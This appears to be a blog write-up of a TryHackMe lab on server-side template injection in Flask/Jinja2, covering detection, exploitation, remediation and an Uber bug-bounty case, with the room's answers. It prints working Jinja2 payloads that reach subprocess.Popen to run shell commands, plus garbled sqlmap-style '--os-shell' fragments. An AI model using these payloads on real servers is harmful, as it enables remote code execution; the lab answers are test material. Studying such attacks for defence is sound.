What is Server Side Template Injection?
Server Side Template Injection (SSTI) is a web exploit which takes
advantage of an insecure implementation of a template engine.
What is a template engine?
A template engine allows you to create static template files which can
be re-used in your application.
What does that mean? Consider a
page that stores information about a user,
/profile/<user>. The code might look something like this in Python's Flask:
This code creates a template string, and concatenates the user input into it. This way, the content can be loaded dynamically for each user, while keeping a consistent page format.
Note: Flask is the web framework, while Jinja2 is the template engine being used.
How is SSTI exploitable?
Consider the above code, specifically the template string. The variable
user (which is user input) is concatenated directly into the template, rather
than passed in as data. This means whatever is supplied as user input will be
interpreted by the engine.
Note: The template engines themselves
aren't vulnerable, rather an insecure implementation by the developer.
What is the impact of SSTI?
As the name suggests, SSTI is a server side exploit, rather than client
side such as cross site scripting
(XSS).
This means that vulnerabilities are even more critical, because
instead of an account on the website being hijacked (common use of XSS), the
server instead gets hijacked.
You can access the web server by navigating to https://tryhackme.com/room/learnssti
SSTI Payload
- {{ ''.__class__}}
- {{ ''.__init__}}
- {{ ''.__class__.__mro__[1].__subclasses__() }}
- {{ ''.__class__.__mro__[1] }}
- {{ ''.__class__.__mro__[1].__subclasses__()[401] }}
- {{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
- {{'7'*7}}
- jake*' --os-shell
- jake--level 5 -e jade
- ti?user=InjectHere*&comment=A&link" --level 5 -e jade
- ti?user=*&comment=supercomment&link"
- page?name=John*' --os-shell
Note: The endpoint / does not exist, and you will receive a 404 error.
Task 2 Detection
Finding an injection point
The exploit must be inserted somewhere,
this is called an injection point.
There are a few places we can
look within an application, such as the URL or an input box (make sure to
check for hidden inputs).
In this example, there is a page that
stores information about a user:
http://[IP]:5000/profile/<user>, which takes in user input.
We can find the intended output by
providing an expected name:
http://10.10.243.183:5000/profile/jake
Fuzzing
Fuzzing is a technique to determine whether the server is vulnerable by
sending multiple characters in hopes to interfere with the backend system.
This
can be done manually, or by an application such as BurpSuite's Intruder.
However, for educational purposes, we will look at the manual process.
Luckily
for us, most template engines will use a similar character set for their
"special functions" which makes it relatively quick to detect if it's
vulnerable to SSTI.
For example, the following characters are
known to be used in quite a few template engines:
${{<%[%'"}}%.
To manually fuzz all of these characters, they can be sent
one by one following each other.
The fuzzing process looks as
follows:
Continue with this process until you either get an error, or some characters
start disappearing from the output.
1) What sequence of characters causes the application to throw
an error?
Ans :- {{
Task 3 Identification
Now that we have detected what characters caused the application to
error, it is time to identify what template engine is being used.
In
the best case scenario, the error message will include the template engine,
which marks this step complete!
However, if this is not the case,
we can use a decision tree to help us identify the template engine:
To follow the decision tree, start at the very left and include the variable in your request. Follow the arrow depending on the output:
- Green arrow - The expression evaluated (i.e 42)
- Red arrow - The expression is shown in the output (i.e ${7*7})
In the case of our example, the process looks as follows:
The application mirrors the user input, so we follow the red
arrow:
The application evaluates the user input, so we follow the green arrow.
Continue
with this process until you get to the end of the decision tree.
1) What template engine is being used in this application?
Ans :- Jinja2
Task 4 Syntax
After having identified the template engine, we now need to learn its
syntax.
Where better to learn than the
official documentation?
Always look for the following, no matter the language or
template engine:
- How to start a print statement
- How to end a print statement
- How to start a block statement
- How to end a block statement
In the case of our example, the
documentation
states the following:
- {{ - Used to mark the start of a print statement
- }} - Used to mark the end of a print statement
- {% - Used to mark the start of a block statement
- %} - Used to mark the end of a block statement
1) How do you start a comment in Jinja2?
Ans :-
(#
Task 5 Exploitation
At this point, we know:
- The application is vulnerable to SSTI
- The injection point
- The template engine
- The template engine syntax
Planning
Let's first plan how we
would like to exploit this vulnerability.
Since Jinja2 is a Python
based template engine, we will look at ways to run shell commands in Python. A
quick Google search brings up a blog that details different ways to run shell
commands.
I will highlight a few of them below:
Crafting a proof of concept (Generic)
Combining all of
this knowledge, we are able to build a proof of concept (POC).
The
following payload takes the syntax we acquired from Task 4, and the shells
above, and merges them into something that the template engine will accept:
http://[IP]:5000/profile/{% import os %}{{ os.system("whoami") }}.
Note: Jinja2 is essentially a sub language of
Python that doesn't integrate the import statement, which is why the above
does not work.
Crafting a proof of concept (Jinja2)
Python
allows us to call the current class instance with .__class__, we can call this
on an empty string:
Payload:
http://10.10.243.183:5000/profile/{{ ''.__class__ }}.
Classes in Python have an attribute called .__mro__
that allows us to climb up the inherited object tree:
Payload:
http://10.10.243.183:5000/profile/{{ ''.__class__.__mro__ }}.
Since we want the root object, we can access the
second property (first index):
Payload:
http://10.10.243.183:5000/profile/{{ ''.__class__.__mro__[1] }}.
Objects in Python have a method called
.__subclassess__ that allows us to climb down the object tree:
Payload:
http://10.10.243.183:5000/profile/{{
''.__class__.__mro__[1].__subclasses__() }}.
Now we need to find an object that allows us to run
shell commands. Doing a Ctrl-F for the modules in the code above yields us a
match:
As this whole output is just a Python list, we can access this by using its
index. You can find this by either trial and error, or by counting its
position in the list.
In this example, the position in
the list is 400 (index 401):
Payload:
http://10.10.243.183:5000/profile/{{
''.__class__.__mro__[1].__subclasses__()[401] }}.
The above payload essentially calls the
subprocess.Popen method, now all we have to do is call it (use the code above
for the syntax)
Payload:
http://10.10.243.183:5000/profile/{{
''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True,
stdout=-1).communicate() }}.
Finding payloads
The process to build a payload takes a little while when doing it
for the first time, however it is important to understand why it works.
For
quick reference, an amazing GitHub repo has been created as a cheatsheet for
payloads for all web vulnerabilities, including SSTI.
The
repo is located here, while the document for SSTI is located here.
1) What is the result of the "whoami" shell command?
Ans:- jake
Task 6 Examination
Now that we've exploited the application, let's see what was actually
happening when the payload was injected.
The code that we
exploited was the same as shown in Task 1:
Let's imagine this like a simple find and replace.
Refer to the
image below to see exactly how this works:
As we learned in Task 4, Jinja2 is going to evaluate code that is in-between those sets of characters, which is why the exploit worked.
Task 7 Remediation
All this hacking begs the question, what can be done to prevent this
from happening in the first place?
Sanitisation
User input can not be trusted!
Every place in
your application where a user is allowed to add custom content, make sure the
input is sanitised!
This can be done by first planning what
character set you want to allow, and add these to a whitelist.
In
Python, this can be done like so:
Secure methods
Most template engines will have a feature that allows you to pass input
in as data, rather that concatenating input into the template.
In
Jinja2, this can be done by using the second argument:
Most importantly, remember to read the documentation of the template engine you are using.
Task 8 Case Study
HackerOne Bug Bounty
In March 2016, a user reported an SSTI vulnerability in one of
Uber's subdomains.
TryHackMe Learn Server Side Termplate Injection
The vulnerability was present within a form that allowed the user
to change their profile name. Much like in the example, the user had control
over an input which was then reflected back to the user (via email).
Although
the user was unable to gain remote code execution, the vulnerability was still
present and they were awarded with a $10,000 bounty!
Read the report here.
1) What payload was used to confirm SSTI?
Ans :- {{'7'*7}}
Disclaimer
This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing malicious or damaging attacks. Performing any hacks without written permission is illegal ..!
All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.
All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.
- Hacking Truth by Kumar Atul Jaiswal
I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)